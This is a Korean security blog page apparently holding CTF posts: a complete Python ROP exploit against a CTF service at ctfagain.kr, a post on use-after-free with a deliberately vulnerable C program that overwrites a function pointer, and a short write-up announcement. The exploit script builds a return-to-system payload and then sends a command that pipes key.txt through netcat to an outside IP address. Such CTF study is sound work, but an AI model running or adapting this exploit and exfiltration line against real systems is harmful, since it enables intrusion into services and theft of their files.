>

#!/usr/bin/python

from socket import *

import time

from struct import pack,unpack


p = lambda x: pack("<L",x)


host = "ctfagain.kr"

port = 7001


s = socket(AF_INET,SOCK_STREAM)

s.connect((host,port))

write_plt = 0x080486e0

pppr = 0x08048b2c

read_got = 0x0804b010

read_plt = 0x08048620

system_addr = 0xB7600260


freespace = 0x0804b180


payload =""

payload += "yaaabbbbcc"


payload += "\x00\x5a\x5b\x62"

payload += "ddddeeeebbbb"

payload += p(read_plt)

payload += p(pppr)

payload += p(4)

payload += p(freespace)

payload += p(100)

payload += p(system_addr)

payload += "aaaa"

payload += p(freespace)

payload += "\x00\x00\x00\x00\x00\x00\x00\x00"



print s.recv(5000)

print s.recv(26)

print s.recv(21)

time.sleep(2)

print s.recv(500)

s.send("4\n")

print s.recv(500)

raw_input()

s.send(payload + "\n")


time.sleep(0.5)

s.send("cat key.txt|nc 115.86.51.173 31337\n")


ctfagain.kr 기준으로 풀었습니다. 요건 완성본인데 이걸 돌려주기 전에 먼저 stack canary를 leak 해야되고 아무 got 나 뽑아서 함수 주소를 알아낸 다음에(저 같은 경우는 read 함수)

서버가 ubuntu 13.10이므로 13.10 라이브러리 기준으로 system 함수 offset을 계산해야됩니다.

'CTF' 카테고리의 다른 글

[Layer7 2015] Reverse Me, Easy Rerversing  (0) 2015.09.01
Codegate 2015 bookstore  (0) 2015.03.17
christmas CTF Rudolph  (0) 2015.02.20
Codegate 2014 minibomb write-up  (5) 2014.03.09
Codegate Junior 2014 Write-up  (0) 2014.03.05
Posted by Mungsul
,

UAF에 대한 고찰

Research 2014. 3. 9. 12:22

#include<stdio.h>

#include<stdlib.h>

int main()

{

char *buf;

char *buf2;

buf = malloc(20);

buf2 = malloc(20);

printf("%p %p\n",buf,buf2);

}


만약 프로그램에서 이런식으로 할당을 두 번 해주면 각각 할당된 주소가 다름

-------------------------------------

output


0x843e008 0x843e020


------------------------------------

#include<stdio.h>

#include<stdlib.h>

int main()

{

char *buf;

char *buf2;

buf = malloc(20);

printf("%p",buf);

free(buf);

buf2 = malloc(20);

printf(" %p\n",buf2);


}

----------------------------------------

하지만 이런식이라면 free 되기 전 buf와 buf2는 동일한 주소를 가질 것임.


output


0x827c008 0x827c008


같은 사이즈를 힙 할당할 때 이러한 현상이 일어남 -> 이것은 힙 매니지먼트 시스템에 의해서 그럼.


-----------------------------------------

#include<stdio.h>

#include<stdlib.h>

#include<string.h>

struct poo_struct

{

char *message;

void (*constructor)(void);

};

void constructor()

{

printf("this is stupid constructor\n");

}

int main(int argc,int **argv)

{

char input[100] = {0,};

struct poo_struct *s1;

char *tmp;

s1 = malloc(12);

s1->constructor=constructor;

fgets(input,100,stdin);

s1->message = malloc(strlen(input));

strcpy(s1->message,input);

memset(input,0,100);

s1->constructor();

printf("message : %s\n",s1->message);


free(s1);

fgets(input,100,stdin);

tmp = malloc(strlen(input));

strcpy(s1->message,input);

s1->constructor();

}

--------------------------------------------------

만약 이런 정신나간 프로그램이 있다고 가정해보자

s1을 free 해주지만 안의 데이터는 사라지지 않고 그대로 쓰임이 가능하다. -> 그래서 use after free

내가 입력해준 만큼 malloc 해주니 두번째 fgets에서 12만큼 입력을 하면 constructor 부분을 덮을 수 있다.

-------------------------------------------------------

[0x62626262] --- SIGSEGV (Segmentation fault) ---

[0xffffffff] +++ killed by SIGSEGV +++

win32virus@ubuntu-for-b10s:~/uaf$ 

------------------------------------------------------

ltrace로 확인해보면 바뀌는 것을 알 수 있음


요약하자면


data = malloc(size);

free(data);

이런 상태에서 data 변수를 어디서 참조하면 유심히 봐야됨

'Research' 카테고리의 다른 글

쉘코드 수신 쉘코드  (0) 2015.09.12
arm exploitation using ROP  (0) 2015.02.26
arm exploitation using shellcode  (0) 2015.02.21
blind sql injection script template  (1) 2015.02.20
Posted by Mungsul
,

2월 8일에 코드게이트 주니어 대회가 있었습니다.

저는 이 대회에서 총 4문제를 풀었습니다.

늦은 감이 있지만 풀이를 올립니다.


Codegate Junior WriteUp.docx



'CTF' 카테고리의 다른 글

[Layer7 2015] Reverse Me, Easy Rerversing  (0) 2015.09.01
Codegate 2015 bookstore  (0) 2015.03.17
christmas CTF Rudolph  (0) 2015.02.20
Codegate 2014 minibomb write-up  (5) 2014.03.09
Codegate 2014 angrydoraemon write-up  (0) 2014.03.09
Posted by Mungsul
,